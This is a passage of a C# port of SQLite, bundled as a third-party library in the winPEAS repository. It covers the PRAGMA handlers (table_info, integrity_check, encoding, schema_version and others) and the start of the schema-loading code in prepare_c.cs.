PRAGMA table_info(
  • ) ** ** Return a single row for each column of the named table. The columns of ** the returned data set are: ** ** cid: Column id (numbered from left to right, starting at 0) ** name: Column name ** type: Column declaration type. ** notnull: True if 'NOT NULL' is part of column declaration ** dflt_value: The default value for the column, if any. */ if ( sqlite3StrICmp( zLeft, "table_info" ) == 0 && zRight != null ) { Table pTab; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; pTab = sqlite3FindTable( db, zRight, zDb ); if ( pTab != null ) { int i; int nHidden = 0; Column pCol; sqlite3VdbeSetNumCols( v, 6 ); pParse.nMem = 6; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cid", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "type", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "notnull", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "dflt_value", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "pk", SQLITE_STATIC ); sqlite3ViewGetColumnNames( pParse, pTab ); for ( i = 0 ; i < pTab.nCol ; i++ )//, pCol++) { pCol = pTab.aCol[i]; if ( IsHiddenColumn( pCol ) ) { nHidden++; continue; } sqlite3VdbeAddOp2( v, OP_Integer, i - nHidden, 1 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pCol.zName, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pCol.zType != null ? pCol.zType : "", 0 ); sqlite3VdbeAddOp2( v, OP_Integer, ( pCol.notNull != 0 ? 1 : 0 ), 4 ); if ( pCol.zDflt != null ) { sqlite3VdbeAddOp4( v, OP_String8, 0, 5, 0, pCol.zDflt, 0 ); } else { sqlite3VdbeAddOp2( v, OP_Null, 0, 5 ); } sqlite3VdbeAddOp2( v, OP_Integer, pCol.isPrimKey != 0 ? 1 : 0, 6 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 6 ); } } } else if ( sqlite3StrICmp( zLeft, "index_info" ) == 0 && zRight != null ) { Index pIdx; Table pTab; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; pIdx = sqlite3FindIndex( db, zRight, zDb ); if ( pIdx != null ) { int i; pTab = pIdx.pTable; sqlite3VdbeSetNumCols( v, 3 ); pParse.nMem = 3; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seqno", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "cid", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "name", SQLITE_STATIC ); for ( i = 0 ; i < pIdx.nColumn ; i++ ) { int cnum = pIdx.aiColumn[i]; sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); sqlite3VdbeAddOp2( v, OP_Integer, cnum, 2 ); Debug.Assert( pTab.nCol > cnum ); sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pTab.aCol[cnum].zName, 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); } } } else if ( sqlite3StrICmp( zLeft, "index_list" ) == 0 && zRight != null ) { Index pIdx; Table pTab; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; pTab = sqlite3FindTable( db, zRight, zDb ); if ( pTab != null ) { v = sqlite3GetVdbe( pParse ); pIdx = pTab.pIndex; if ( pIdx != null ) { int i = 0; sqlite3VdbeSetNumCols( v, 3 ); pParse.nMem = 3; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "unique", SQLITE_STATIC ); while ( pIdx != null ) { sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pIdx.zName, 0 ); sqlite3VdbeAddOp2( v, OP_Integer, ( pIdx.onError != OE_None ) ? 1 : 0, 3 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); ++i; pIdx = pIdx.pNext; } } } } else if ( sqlite3StrICmp( zLeft, "database_list" ) == 0 ) { int i; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; sqlite3VdbeSetNumCols( v, 3 ); pParse.nMem = 3; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "file", SQLITE_STATIC ); for ( i = 0 ; i < db.nDb ; i++ ) { if ( db.aDb[i].pBt == null ) continue; Debug.Assert( db.aDb[i].zName != null ); sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, db.aDb[i].zName, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, sqlite3BtreeGetFilename( db.aDb[i].pBt ), 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); } } else if ( sqlite3StrICmp( zLeft, "collation_list" ) == 0 ) { int i = 0; HashElem p; sqlite3VdbeSetNumCols( v, 2 ); pParse.nMem = 2; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); for ( p = db.aCollSeq.first ; p != null ; p = p.next )//( p = sqliteHashFirst( db.aCollSeq ) ; p; p = sqliteHashNext( p ) ) { CollSeq pColl = ( (CollSeq[])p.data )[0];// sqliteHashData( p ); sqlite3VdbeAddOp2( v, OP_Integer, i++, 1 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pColl.zName, 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); } } else #endif // * SQLITE_OMIT_SCHEMA_PRAGMAS */ #if !SQLITE_OMIT_FOREIGN_KEY if ( sqlite3StrICmp( zLeft, "foreign_key_list" ) == 0 && zRight != null ) { FKey pFK; Table pTab; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; pTab = sqlite3FindTable( db, zRight, zDb ); if ( pTab != null ) { v = sqlite3GetVdbe( pParse ); pFK = pTab.pFKey; if ( pFK != null ) { int i = 0; sqlite3VdbeSetNumCols( v, 8 ); pParse.nMem = 8; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "id", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "seq", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "table", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "from", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "to", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "on_update", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 6, COLNAME_NAME, "on_delete", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 7, COLNAME_NAME, "match", SQLITE_STATIC ); while ( pFK != null ) { int j; for ( j = 0 ; j < pFK.nCol ; j++ ) { string zCol = pFK.aCol[j].zCol; string zOnUpdate = actionName( pFK.updateConf ); string zOnDelete = actionName( pFK.deleteConf ); sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); sqlite3VdbeAddOp2( v, OP_Integer, j, 2 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pFK.zTo, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 4, 0, pTab.aCol[pFK.aCol[j].iFrom].zName, 0 ); sqlite3VdbeAddOp4( v, zCol != null ? OP_String8 : OP_Null, 0, 5, 0, zCol, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 6, 0, zOnUpdate, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 7, 0, zOnDelete, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 8, 0, "NONE", 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 8 ); } ++i; pFK = pFK.pNextFrom; } } } } else #endif // * !SQLITE_OMIT_FOREIGN_KEY) */ #if !NDEBUG if ( sqlite3StrICmp( zLeft, "parser_trace" ) == 0 ) { if ( zRight != null ) { if ( getBoolean( zRight ) != 0 ) { sqlite3ParserTrace( Console.Out, "parser: " ); } else { sqlite3ParserTrace( null, "" ); } } } else #endif /* Reinstall the LIKE and GLOB functions. The variant of LIKE ** used will be case sensitive or not depending on the RHS. */ if ( sqlite3StrICmp( zLeft, "case_sensitive_like" ) == 0 ) { if ( zRight != null ) { sqlite3RegisterLikeFunctions( db, getBoolean( zRight ) ); } } else #if !SQLITE_INTEGRITY_CHECK_ERROR_MAX //const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; #endif #if !SQLITE_OMIT_INTEGRITY_CHECK /* Pragma "quick_check" is an experimental reduced version of ** integrity_check designed to detect most database corruption ** without most of the overhead of a full integrity-check. */ if ( sqlite3StrICmp( zLeft, "integrity_check" ) == 0 || sqlite3StrICmp( zLeft, "quick_check" ) == 0 ) { const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; int i, j, addr, mxErr; /* Code that appears at the end of the integrity check. If no error ** messages have been generated, output OK. Otherwise output the ** error message */ VdbeOpList[] endCode = new VdbeOpList[] { new VdbeOpList( OP_AddImm, 1, 0, 0), /* 0 */ new VdbeOpList( OP_IfNeg, 1, 0, 0), /* 1 */ new VdbeOpList( OP_String8, 0, 3, 0), /* 2 */ new VdbeOpList( OP_ResultRow, 3, 1, 0), }; bool isQuick = ( zLeft[0] == 'q' ); /* Initialize the VDBE program */ if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; pParse.nMem = 6; sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "integrity_check", SQLITE_STATIC ); /* Set the maximum error count */ mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; if ( zRight != null ) { mxErr = atoi( zRight ); if ( mxErr <= 0 ) { mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; } } sqlite3VdbeAddOp2( v, OP_Integer, mxErr, 1 ); /* reg[1] holds errors left */ /* Do an integrity check on each database file */ for ( i = 0 ; i < db.nDb ; i++ ) { HashElem x; Hash pTbls; int cnt = 0; if ( OMIT_TEMPDB != 0 && i == 1 ) continue; sqlite3CodeVerifySchema( pParse, i ); addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Halt if out of errors */ sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); sqlite3VdbeJumpHere( v, addr ); /* Do an integrity check of the B-Tree ** ** Begin by filling registers 2, 3, ... with the root pages numbers ** for all tables and indices in the database. */ pTbls = db.aDb[i].pSchema.tblHash; for ( x = pTbls.first ; x != null ; x = x.next ) {// for(x=sqliteHashFirst(pTbls); x; x=sqliteHashNext(x)){ Table pTab = (Table)x.data;// sqliteHashData( x ); Index pIdx; sqlite3VdbeAddOp2( v, OP_Integer, pTab.tnum, 2 + cnt ); cnt++; for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { sqlite3VdbeAddOp2( v, OP_Integer, pIdx.tnum, 2 + cnt ); cnt++; } } /* Make sure sufficient number of registers have been allocated */ if ( pParse.nMem < cnt + 4 ) { pParse.nMem = cnt + 4; } /* Do the b-tree integrity checks */ sqlite3VdbeAddOp3( v, OP_IntegrityCk, 2, cnt, 1 ); sqlite3VdbeChangeP5( v, (u8)i ); addr = sqlite3VdbeAddOp1( v, OP_IsNull, 2 ); sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, sqlite3MPrintf( db, "*** in database %s ***\n", db.aDb[i].zName ), P4_DYNAMIC ); sqlite3VdbeAddOp3( v, OP_Move, 2, 4, 1 ); sqlite3VdbeAddOp3( v, OP_Concat, 4, 3, 2 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 2, 1 ); sqlite3VdbeJumpHere( v, addr ); /* Make sure all the indices are constructed correctly. */ for ( x = pTbls.first ; x != null && !isQuick ; x = x.next ) { ;// for(x=sqliteHashFirst(pTbls); x && !isQuick; x=sqliteHashNext(x)){ Table pTab = (Table)x.data;// sqliteHashData( x ); Index pIdx; int loopTop; if ( pTab.pIndex == null ) continue; addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Stop if out of errors */ sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); sqlite3VdbeJumpHere( v, addr ); sqlite3OpenTableAndIndices( pParse, pTab, 1, OP_OpenRead ); sqlite3VdbeAddOp2( v, OP_Integer, 0, 2 ); /* reg(2) will count entries */ loopTop = sqlite3VdbeAddOp2( v, OP_Rewind, 1, 0 ); sqlite3VdbeAddOp2( v, OP_AddImm, 2, 1 ); /* increment entry count */ for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ ) { int jmp2; VdbeOpList[] idxErr = new VdbeOpList[] { new VdbeOpList( OP_AddImm, 1, -1, 0), new VdbeOpList( OP_String8, 0, 3, 0), /* 1 */ new VdbeOpList( OP_Rowid, 1, 4, 0), new VdbeOpList( OP_String8, 0, 5, 0), /* 3 */ new VdbeOpList( OP_String8, 0, 6, 0), /* 4 */ new VdbeOpList( OP_Concat, 4, 3, 3), new VdbeOpList( OP_Concat, 5, 3, 3), new VdbeOpList( OP_Concat, 6, 3, 3), new VdbeOpList( OP_ResultRow, 3, 1, 0), new VdbeOpList( OP_IfPos, 1, 0, 0), /* 9 */ new VdbeOpList( OP_Halt, 0, 0, 0), }; sqlite3GenerateIndexKey( pParse, pIdx, 1, 3, true ); jmp2 = sqlite3VdbeAddOp3( v, OP_Found, j + 2, 0, 3 ); addr = sqlite3VdbeAddOpList( v, ArraySize( idxErr ), idxErr ); sqlite3VdbeChangeP4( v, addr + 1, "rowid ", SQLITE_STATIC ); sqlite3VdbeChangeP4( v, addr + 3, " missing from index ", SQLITE_STATIC ); sqlite3VdbeChangeP4( v, addr + 4, pIdx.zName, P4_STATIC ); sqlite3VdbeJumpHere( v, addr + 9 ); sqlite3VdbeJumpHere( v, jmp2 ); } sqlite3VdbeAddOp2( v, OP_Next, 1, loopTop + 1 ); sqlite3VdbeJumpHere( v, loopTop ); for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ ) { VdbeOpList[] cntIdx = new VdbeOpList[] { new VdbeOpList( OP_Integer, 0, 3, 0), new VdbeOpList( OP_Rewind, 0, 0, 0), /* 1 */ new VdbeOpList( OP_AddImm, 3, 1, 0), new VdbeOpList( OP_Next, 0, 0, 0), /* 3 */ new VdbeOpList( OP_Eq, 2, 0, 3), /* 4 */ new VdbeOpList( OP_AddImm, 1, -1, 0), new VdbeOpList( OP_String8, 0, 2, 0), /* 6 */ new VdbeOpList( OP_String8, 0, 3, 0), /* 7 */ new VdbeOpList( OP_Concat, 3, 2, 2), new VdbeOpList( OP_ResultRow, 2, 1, 0), }; addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); sqlite3VdbeJumpHere( v, addr ); addr = sqlite3VdbeAddOpList( v, ArraySize( cntIdx ), cntIdx ); sqlite3VdbeChangeP1( v, addr + 1, j + 2 ); sqlite3VdbeChangeP2( v, addr + 1, addr + 4 ); sqlite3VdbeChangeP1( v, addr + 3, j + 2 ); sqlite3VdbeChangeP2( v, addr + 3, addr + 2 ); sqlite3VdbeJumpHere( v, addr + 4 ); sqlite3VdbeChangeP4( v, addr + 6, "wrong # of entries in index ", P4_STATIC ); sqlite3VdbeChangeP4( v, addr + 7, pIdx.zName, P4_STATIC ); } } } addr = sqlite3VdbeAddOpList( v, ArraySize( endCode ), endCode ); sqlite3VdbeChangeP2( v, addr, -mxErr ); sqlite3VdbeJumpHere( v, addr + 1 ); sqlite3VdbeChangeP4( v, addr + 2, "ok", P4_STATIC ); } else #endif // * SQLITE_OMIT_INTEGRITY_CHECK */ /* ** PRAGMA encoding ** PRAGMA encoding = "utf-8"|"utf-16"|"utf-16le"|"utf-16be" ** ** In its first form, this pragma returns the encoding of the main ** database. If the database is not initialized, it is initialized now. ** ** The second form of this pragma is a no-op if the main database file ** has not already been initialized. In this case it sets the default ** encoding that will be used for the main database file if a new file ** is created. If an existing main database file is opened, then the ** default text encoding for the existing database is used. ** ** In all cases new databases created using the ATTACH command are ** created to use the same default text encoding as the main database. If ** the main database has not been initialized and/or created when ATTACH ** is executed, this is done before the ATTACH operation. ** ** In the second form this pragma sets the text encoding to be used in ** new database files created using this database handle. It is only ** useful if invoked immediately after the main database i */ if ( sqlite3StrICmp( zLeft, "encoding" ) == 0 ) { EncName[] encnames = new EncName[] { new EncName( "UTF8", SQLITE_UTF8 ), new EncName( "UTF-8", SQLITE_UTF8 ),/* Must be element [1] */ new EncName( "UTF-16le", SQLITE_UTF16LE ),/* Must be element [2] */ new EncName( "UTF-16be", SQLITE_UTF16BE ), /* Must be element [3] */ new EncName( "UTF16le", SQLITE_UTF16LE ), new EncName( "UTF16be", SQLITE_UTF16BE ), new EncName( "UTF-16", 0 ), /* SQLITE_UTF16NATIVE */ new EncName( "UTF16", 0 ), /* SQLITE_UTF16NATIVE */ new EncName( null, 0 ) }; int iEnc; if ( null == zRight ) { /* "PRAGMA encoding" */ if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "encoding", SQLITE_STATIC ); sqlite3VdbeAddOp2( v, OP_String8, 0, 1 ); Debug.Assert( encnames[SQLITE_UTF8].enc == SQLITE_UTF8 ); Debug.Assert( encnames[SQLITE_UTF16LE].enc == SQLITE_UTF16LE ); Debug.Assert( encnames[SQLITE_UTF16BE].enc == SQLITE_UTF16BE ); sqlite3VdbeChangeP4( v, -1, encnames[ENC( pParse.db )].zName, P4_STATIC ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); } #if !SQLITE_OMIT_UTF16 else { /* "PRAGMA encoding = XXX" */ /* Only change the value of sqlite.enc if the database handle is not ** initialized. If the main database exists, the new sqlite.enc value ** will be overwritten when the schema is next loaded. If it does not ** already exists, it will be created to use the new encoding value. */ if ( //!(DbHasProperty(db, 0, DB_SchemaLoaded)) || //DbHasProperty(db, 0, DB_Empty) ( db.flags & DB_SchemaLoaded ) != DB_SchemaLoaded || ( db.flags & DB_Empty ) == DB_Empty ) { for ( iEnc = 0 ; encnames[iEnc].zName != null ; iEnc++ ) { if ( 0 == sqlite3StrICmp( zRight, encnames[iEnc].zName ) ) { pParse.db.aDbStatic[0].pSchema.enc = encnames[iEnc].enc != 0 ? encnames[iEnc].enc : SQLITE_UTF16NATIVE; break; } } if ( encnames[iEnc].zName == null ) { sqlite3ErrorMsg( pParse, "unsupported encoding: %s", zRight ); } } } #endif } else #if !SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS /* ** PRAGMA [database.]schema_version ** PRAGMA [database.]schema_version = ** ** PRAGMA [database.]user_version ** PRAGMA [database.]user_version = ** ** The pragma's schema_version and user_version are used to set or get ** the value of the schema-version and user-version, respectively. Both ** the schema-version and the user-version are 32-bit signed integers ** stored in the database header. ** ** The schema-cookie is usually only manipulated internally by SQLite. It ** is incremented by SQLite whenever the database schema is modified (by ** creating or dropping a table or index). The schema version is used by ** SQLite each time a query is executed to ensure that the internal cache ** of the schema used when compiling the SQL query matches the schema of ** the database against which the compiled query is actually executed. ** Subverting this mechanism by using "PRAGMA schema_version" to modify ** the schema-version is potentially dangerous and may lead to program ** crashes or database corruption. Use with caution! ** ** The user-version is not used internally by SQLite. It may be used by ** applications for any purpose. */ if ( sqlite3StrICmp( zLeft, "schema_version" ) == 0 || sqlite3StrICmp( zLeft, "user_version" ) == 0 || sqlite3StrICmp( zLeft, "freelist_count" ) == 0 ) { int iCookie; /* Cookie index. 1 for schema-cookie, 6 for user-cookie. */ sqlite3VdbeUsesBtree( v, iDb ); switch ( zLeft[0] ) { case 'f': case 'F': iCookie = BTREE_FREE_PAGE_COUNT; break; case 's': case 'S': iCookie = BTREE_SCHEMA_VERSION; break; default: iCookie = BTREE_USER_VERSION; break; } if ( zRight != null && iCookie != BTREE_FREE_PAGE_COUNT ) { /* Write the specified cookie value */ VdbeOpList[] setCookie = new VdbeOpList[] { new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ new VdbeOpList( OP_Integer, 0, 1, 0), /* 1 */ new VdbeOpList( OP_SetCookie, 0, 0, 1), /* 2 */ }; int addr = sqlite3VdbeAddOpList( v, ArraySize( setCookie ), setCookie ); sqlite3VdbeChangeP1( v, addr, iDb ); sqlite3VdbeChangeP1( v, addr + 1, atoi( zRight ) ); sqlite3VdbeChangeP1( v, addr + 2, iDb ); sqlite3VdbeChangeP2( v, addr + 2, iCookie ); } else { /* Read the specified cookie value */ VdbeOpList[] readCookie = new VdbeOpList[] { new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ new VdbeOpList( OP_ReadCookie, 0, 1, 0), /* 1 */ new VdbeOpList( OP_ResultRow, 1, 1, 0) }; int addr = sqlite3VdbeAddOpList( v, readCookie.Length, readCookie );// ArraySize(readCookie), readCookie); sqlite3VdbeChangeP1( v, addr, iDb ); sqlite3VdbeChangeP1( v, addr + 1, iDb ); sqlite3VdbeChangeP3( v, addr + 1, iCookie ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLeft, SQLITE_TRANSIENT ); } } else if ( sqlite3StrICmp( zLeft, "reload_schema" ) == 0 ) { /* force schema reloading*/ sqlite3ResetInternalSchema( db, 0 ); } else if ( sqlite3StrICmp( zLeft, "file_format" ) == 0 ) { pDb.pSchema.file_format = (u8)atoi( zRight ); sqlite3ResetInternalSchema( db, 0 ); } else #endif // * SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS */ #if SQLITE_DEBUG || SQLITE_TEST /* ** Report the current state of file logs for all databases */ if ( sqlite3StrICmp( zLeft, "lock_status" ) == 0 ) { string[] azLockName = { "unlocked", "shared", "reserved", "pending", "exclusive" }; int i; sqlite3VdbeSetNumCols( v, 2 ); pParse.nMem = 2; sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "database", SQLITE_STATIC ); sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "status", SQLITE_STATIC ); for ( i = 0 ; i < db.nDb ; i++ ) { Btree pBt; Pager pPager; string zState = "unknown"; int j = 0; if ( db.aDb[i].zName == null ) continue; sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, db.aDb[i].zName, P4_STATIC ); pBt = db.aDb[i].pBt; if ( pBt == null || ( pPager = sqlite3BtreePager( pBt ) ) == null ) { zState = "closed"; } else if ( sqlite3_file_control( db, i != 0 ? db.aDb[i].zName : null, SQLITE_FCNTL_LOCKSTATE, ref j ) == SQLITE_OK ) { zState = azLockName[j]; } sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, zState, P4_STATIC ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); } } else #endif #if SQLITE_HAS_CODEC if( sqlite3StrICmp(zLeft, "key")==0 && zRight ){ sqlite3_key(db, zRight, sqlite3Strlen30(zRight)); }else if( sqlite3StrICmp(zLeft, "rekey")==0 && zRight ){ sqlite3_rekey(db, zRight, sqlite3Strlen30(zRight)); }else if( zRight && (sqlite3StrICmp(zLeft, "hexkey")==0 || sqlite3StrICmp(zLeft, "hexrekey")==0) ){ int i, h1, h2; char zKey[40]; for(i=0; (h1 = zRight[i])!=0 && (h2 = zRight[i+1])!=0; i+=2){ h1 += 9*(1&(h1>>6)); h2 += 9*(1&(h2>>6)); zKey[i/2] = (h2 & 0x0f) | ((h1 & 0xf)<<4); } if( (zLeft[3] & 0xf)==0xb ){ sqlite3_key(db, zKey, i/2); }else{ sqlite3_rekey(db, zKey, i/2); } }else #endif #if SQLITE_HAS_CODEC || SQLITE_ENABLE_CEROD if( sqlite3StrICmp(zLeft, "activate_extensions")==0 ){ #if SQLITE_HAS_CODEC if( sqlite3StrNICmp(zRight, "see-", 4)==0 ){ extern void sqlite3_activate_see(const char*); sqlite3_activate_see(&zRight[4]); } #endif #if SQLITE_ENABLE_CEROD if( sqlite3StrNICmp(zRight, "cerod-", 6)==0 ){ extern void sqlite3_activate_cerod(const char*); sqlite3_activate_cerod(&zRight[6]); } #endif }else #endif { /* Empty ELSE clause */} /* Code an OP_Expire at the end of each PRAGMA program to cause ** the VDBE implementing the pragma to expire. Most (all?) pragmas ** are only valid for a single execution. */ sqlite3VdbeAddOp2( v, OP_Expire, 1, 0 ); /* ** Reset the safety level, in case the fullfsync flag or synchronous ** setting changed. */ #if !SQLITE_OMIT_PAGER_PRAGMAS if ( db.autoCommit != 0 ) { sqlite3BtreeSetSafetyLevel( pDb.pBt, pDb.safety_level, ( ( db.flags & SQLITE_FullFSync ) != 0 ) ? 1 : 0 ); } #endif pragma_out: //sqlite3DbFree( db, ref zLeft ); //sqlite3DbFree( db, ref zRight ); ; } #endif // * SQLITE_OMIT_PRAGMA } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/prepare_c.cs ================================================ using System; using System.Diagnostics; using u8 = System.Byte; using u32 = System.UInt32; using sqlite3_int64 = System.Int64; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_stmt = CSSQLite.Vdbe; public partial class CSSQLite { /* ** 2005 May 25 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the implementation of the sqlite3_prepare() ** interface, and routines that contribute to loading the database schema ** from disk. ** ** $Id: prepare.c,v 1.131 2009/08/06 17:43:31 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Fill the InitData structure with an error message that indicates ** that the database is corrupt. */ static void corruptSchema( InitData pData, /* Initialization context */ string zObj, /* Object being parsed at the point of error */ string zExtra /* Error information */ ) { sqlite3 db = pData.db; if ( /* 0 == db.mallocFailed && */ ( db.flags & SQLITE_RecoveryMode ) == 0 ) { { if ( zObj == null ) zObj = "?"; sqlite3SetString( ref pData.pzErrMsg, db, "malformed database schema (%s)", zObj ); if ( !String.IsNullOrEmpty( zExtra ) ) { pData.pzErrMsg = sqlite3MAppendf( db, pData.pzErrMsg , "%s - %s", pData.pzErrMsg, zExtra ); } } pData.rc = //db.mallocFailed != 0 ? SQLITE_NOMEM : #if SQLITE_DEBUG SQLITE_CORRUPT_BKPT(); #else SQLITE_CORRUPT; #endif } } /* ** This is the callback routine for the code that initializes the ** database. See sqlite3Init() below for additional information. ** This routine is also called from the OP_ParseSchema opcode of the VDBE. ** ** Each callback contains the following information: ** ** argv[0] = name of thing being created ** argv[1] = root page number for table or index. 0 for trigger or view. ** argv[2] = SQL text for the CREATE statement. ** */ static int sqlite3InitCallback( object pInit, sqlite3_int64 argc, object p2, object NotUsed ) { string[] argv = (string[])p2; InitData pData = (InitData)pInit; sqlite3 db = pData.db; int iDb = pData.iDb; Debug.Assert( argc == 3 ); UNUSED_PARAMETER2( NotUsed, argc ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); DbClearProperty( db, iDb, DB_Empty ); //if ( db.mallocFailed != 0 ) //{ // corruptSchema( pData, argv[0], "" ); // return 1; //} Debug.Assert( iDb >= 0 && iDb < db.nDb ); if ( argv == null ) return 0; /* Might happen if EMPTY_RESULT_CALLBACKS are on */ if ( argv[1] == null ) { corruptSchema( pData, argv[0], "" ); } else if ( argv[2] != null && argv[2].Length != 0 ) { /* Call the parser to process a CREATE TABLE, INDEX or VIEW. ** But because db.init.busy is set to 1, no VDBE code is generated ** or executed. All the parser does is build the internal data ** structures that describe the table, index, or view. */ string zErr = ""; int rc; Debug.Assert( db.init.busy != 0 ); db.init.iDb = iDb; db.init.newTnum = atoi( argv[1] ); db.init.orphanTrigger = 0; rc = sqlite3_exec( db, argv[2], null, null, ref zErr ); db.init.iDb = 0; Debug.Assert( rc != SQLITE_OK || zErr == "" ); if ( SQLITE_OK != rc ) { if ( db.init.orphanTrigger!=0 ) { Debug.Assert( iDb == 1 ); } else { pData.rc = rc; if ( rc == SQLITE_NOMEM ) { // db.mallocFailed = 1; } else if ( rc != SQLITE_INTERRUPT && rc != SQLITE_LOCKED ) { corruptSchema( pData, argv[0], zErr ); } } //sqlite3DbFree( db, ref zErr ); } } else if ( argv[0] == null || argv[0] == "" ) { corruptSchema( pData, null, null ); } else { /* If the SQL column is blank it means this is an index that ** was created to be the PRIMARY KEY or to fulfill a UNIQUE ** constraint for a CREATE TABLE. The index should have already ** been created when we processed the CREATE TABLE. All we have ** to do here is record the root page number for that index. */ Index pIndex; pIndex = sqlite3FindIndex( db, argv[0], db.aDb[iDb].zName ); if ( pIndex == null ) { /* This can occur if there exists an index on a TEMP table which ** has the same name as another index on a permanent index. Since ** the permanent table is hidden by the TEMP table, we can also ** safely ignore the index on the permanent table. */ /* Do Nothing */ ; } else if ( sqlite3GetInt32( argv[1], ref pIndex.tnum ) == false ) { corruptSchema( pData, argv[0], "invalid rootpage" ); } } return 0; } /* ** Attempt to read the database schema and initialize internal ** data structures for a single database file. The index of the ** database file is given by iDb. iDb==0 is used for the main ** database. iDb==1 should never be used. iDb>=2 is used for ** auxiliary databases. Return one of the 